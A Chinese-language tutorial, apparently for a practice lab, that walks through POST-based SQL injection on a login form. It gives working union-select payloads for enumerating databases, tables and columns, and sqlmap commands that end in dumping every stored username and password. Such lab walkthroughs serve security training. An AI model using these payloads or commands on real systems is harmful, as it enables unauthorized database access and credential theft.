一、判断是否存在sql漏洞
sql漏洞存在的两个条件
1、参数用户可控:前端传给后端的参数是用户可以控制的,
2、参数带入数据库查询:带入的参数拼接到SQL语句,而且能够成功执行语句
(1)查看username和password的参数名
(2)尝试登录admin-123456和admin-admin两组账号和密码登录,可以看到admin-admin报错,所以表面sql漏洞存在。
二、判断sql数据库漏洞类型
Sql注入根据数据的类型分类两类,数字型和字符型,
uname=1&passwd=1 或者 uname=1&passwd=1’两组进行测试,可以看到uname=1&passwd=1’这一组数据报错,所以这个漏洞存在字符型的漏洞
三、post手工注入
(1)浏览器设置代理
设置代理ip和端口号
(2)burpsuit设置代理,注意这里代理ip和端口号需要和浏览代理一致
返回浏览器,点击刷新浏览器页面
(3)利用union语句联合查询来获取数据库名
命令: uname=1&passwd=1' union select user(),database()--+
(union操作符用于合并两个或多个select语句的结果集,联合查询中合并的选择查询必须具有相同的输出字段数、采用相同的顺序并包含相同或兼容的数据类型。)
返回浏览器,发现报错信息如下,所以我们获取到数据库为security
(4)利用union语句联合查询security数据库来获取表名
命令:uname=1&passwd=1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'--+
返回浏览器可以通过报错信息,我们得到数据库中表有:emails、referers、uagents、users
总共有四个表,根据名字,用户名和密码应该存在users表中
(5)利用union语句联合查询users表来获取字段名
命令:uname=1&passwd=1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+
返回浏览器可以通过报错信息,我们得到中表有三个字段:id、username、password
四、结合SQLMap软件与Burpsuit的抓包信息进行工具注入
(1)、输入test-123456进行输入,进行抓包
把抓到的信息,保存到文件a中(这里是把文件保存到桌面)
进入文件a所在的路径,
(2)利用sqlmap进行注入, sqlmap -r a
(3)获取数据库,命令:
sqlmap -r a --dbs
结果可以看到总共有5个数据库,在前面我们已经知道,我们的目标是security数据库
(4)获取security数据库中表:
sqlmap -r a -D security --table
结果看到数据库有四个表,我们的目标是users表
(5)获取users表中的字段名:
sqlmap -r a -D security -T users --columns
结果看到users表中有三个字段
(6)查看users表中的字段和内容:
sqlmap -r a -D security -T users --dump
结果如下,已经获取到标准所有的账号和密码